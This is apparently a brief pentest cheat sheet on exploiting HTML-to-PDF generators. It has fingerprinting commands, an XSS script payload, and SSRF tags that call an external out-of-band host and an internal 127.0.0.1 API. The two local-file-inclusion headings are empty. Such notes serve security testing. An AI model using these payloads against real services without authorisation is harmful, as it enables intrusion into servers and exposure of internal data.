PDF Generation Vulnerablilities

  • PDF Generators use different libraries and plugins to convert HTML content to PDF.

  • This can be exploited to perform malicious activities like Server-Side XSS, SSRF etc.

Analyze the PDF

# Install exiftool
apt install libimage-exiftool-perl

# Analyze pdf
exiftool PDF_FILE_PATH
pdfinfo PDF_FILE_PATH
  • This will give us the PDF generation library and version. We can then look for CVE's or other exploits.

  • Cross Site Scripting (XSS):

<script>document.write(window.location)</script>
  • SSRF:

<img src="http://cf8kzfn2vtc0000n9fbgg8wj9zhyyyyyb.oast.fun/ssrftest1"/>
<link rel="stylesheet" href="http://cf8kzfn2vtc0000n9fbgg8wj9zhyyyyyb.oast.fun/ssrftest2" >
<iframe src="http://cf8kzfn2vtc0000n9fbgg8wj9zhyyyyyb.oast.fun/ssrftest3"></iframe>
<iframe src="http://127.0.0.1:8080/api/users" width="800" height="500"></iframe>
  • Local file inclusion with javascript execution:

  • Local file inclusion without javascript execution:

It is essential to read the documentation of the specific PDF generation library used by our target web application to identify any potential functionality that can be exploited. Custom tags, such as pd4ml:attachment, that enable access to local files are particularly interesting.

Last updated